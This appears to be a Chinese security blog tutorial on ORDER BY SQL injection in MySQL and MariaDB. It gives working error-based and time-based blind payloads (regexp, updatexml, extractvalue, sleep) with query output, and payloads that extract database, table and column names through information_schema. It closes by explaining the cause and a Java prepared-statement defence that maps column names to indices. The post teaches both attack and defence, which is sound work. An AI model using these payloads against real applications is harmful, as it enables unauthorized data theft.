当前位置:网站首页>Order by注入
Order by注入
2022-07-02 09:32:00 【小莫神和他的的】
Order by注入
order by注入顾名思义可控参数在oder by后,可能出现在排序功能,想象一个功能可以根据用户输入的参数选择排名榜单,例如通过商品的名称select * from test01 order by [name];或者通过商品的价格select * from test01 order by [price];。
例如select * from test01 order by [args];
可以通过下面几个方法测试是否存在注入点:
利用报错
可以构造一些报错语句得到相关信息
regexp
select 1 regexp if(1=1,1,0x00) #正常显示
select 1 regexp if(1=2,1,0x00) #出现报错
这个在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用
#10.5.12-MariaDB-1均正常显示
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
#mysql5.7.18则会报错
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
3 rows in set (0.00 sec)
mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
updatexml
这个就还是可以的
updatexml(1,if(1=1,1,user()),1) #正常显示
updatexml(1,if(1=2,1,user()),1) #出现报错
extractvalue
这个也是好用的
extractvalue(1,if(1=1,1,user()),1) #正常显示
extractvalue(1,if(1=2,1,user()),1) #出现报错
当报错显示被BAN掉之后可以考虑时间盲注。
利用时间盲注
注意如果直接if(1=2,1,sleep(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击。所以sleep时间可以设置的小一点。
if(1=1,1,sleep(time)) #正常显示
if(1=2,1,sleep(time)) #睡眠 (time*表中条目) 秒
数据猜解
这一部分的核心跟where注入没有什么区别。
数据库名猜解
#mysql5.7.18
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
而我的数据库10.5.12-MariaDB-1则不能使用regexp来进行猜解,所以可以用updexml和extractvalue。
#mysql5.7.18
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
其实利用思路没啥区别了,然后下面的几个网上的payload只在mysql5.5成功,往上的5.7就不行了。
猜解表名
select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));
猜解列名
select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));
原因是下面几个payload在往上版本用NULL代替了报错。
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
+------------------------------------+
| 1 |
+------------------------------------+
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
+------------------------------------+
| NULL |
+------------------------------------+
而select * from table order by NULL和select * from table order by 1的结果是一样的。
MariaDB [mysql]> select * from test01 order by NULL;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
产生order by的原因
order by后的参数不能被单引号包裹,这会被解析成一个单纯的字符串。
mysql> select * from test01 order by passwd;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 4 | jack | 123456 |
| 2 | jackk | 678910 |
+----+----------+--------+
mysql> select * from test01 order by 'passwd';
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
可以发现select * from test01 order by 'passwd'并没有按照预期进行排序。
而在预编译中如果直接在select * from test01 order by ?中用passwd占位会把passwd当成字符串而变成select * from test01 order by 'passwd'。
所以会出现使用字符串拼接的情况,而有字符串拼接就有了SQL注入的可能。
String orderString = "passwd";
String sql01 = "select * from test01 order by" + orderString;
PreparedStatement preSql01 = conn.prepareStatement(sql01);
而这时的预编译其实相当于多次一举了,我们的恶意输入也将一同被预编译。
防御的手段第一个就是常见的过滤检查,限制非法输入。另一种就是使用序号来代替字段名。
例如passwd是第3列我们可以用select * from test01 order by 3来替代。
至于编程实现也很简单,可以设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。
int index = map.get("passwd"); //从map获取对应序号
String sql02 = "select * from test01 order by ?";
PreparedStatement preSql02 = conn.prepareStatement(sql02);
preSql02.setInt(1,index);
边栏推荐
- Xiao Sha's pain (double pointer
- The difference between SQL left join main table restrictions written after on and where
- 二叉树专题--AcWing 3384. 二叉树遍历(已知先序遍历 边建树 边输出中序遍历)
- PowerBI中导出数据方法汇总
- V2x SIM dataset (Shanghai Jiaotong University & New York University)
- MTK full dump抓取
- STM32单片机编程学习
- 启牛商学院给的股票账户安全吗?能开户吗?
- spritejs
- TIPC messaging3
猜你喜欢

From the perspective of attack surface, see the practice of zero trust scheme of Xinchuang

从攻击面视角,看信创零信任方案实践

Special topic of binary tree -- acwing 47 Path with a certain value in binary tree (preorder traversal)

【深入浅出玩转FPGA学习5-----复位设计】

MTK full dump grab

Flick two open, realized a batch lookup join (with source code)

Special topic of binary tree -- Logu p1229 traversal problem (the number of traversals in the middle order is calculated when the pre and post order traversals of the multiplication principle are know

JVM之垃圾回收器

QT learning diary 8 - resource file addition

OpenMLDB Meetup No.4 会议纪要
随机推荐
二叉树专题--AcWing 1497. 树的遍历(利用后、中序遍历,构建二叉树)
实验电镜距离测量之Matlab处理
How to implement tabbar title bar with list component
Calculate the sum of sequences
TIPC协议
webauthn——官方开发文档
PHP tea sales and shopping online store
洛谷 P3398 仓鼠找 sugar(树上倍增 lca 判断树中两条路径是否相交 结论)
TIPC介绍1
TIPC Getting Started6
TIPC introduction 1
Complement (Mathematical Simulation
主键策略问题
Thanos Receiver
LVM operation
从攻击面视角,看信创零信任方案实践
[play with FPGA learning 4 in simple terms ----- talk about state machine design]
[AGC] build service 3 - authentication service example
TIPC Service and Topology Tracking4
How does the whole network display IP ownership?